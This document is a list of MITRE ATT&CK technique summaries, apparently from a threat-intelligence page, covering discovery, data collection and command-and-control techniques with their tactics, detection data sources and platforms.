Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre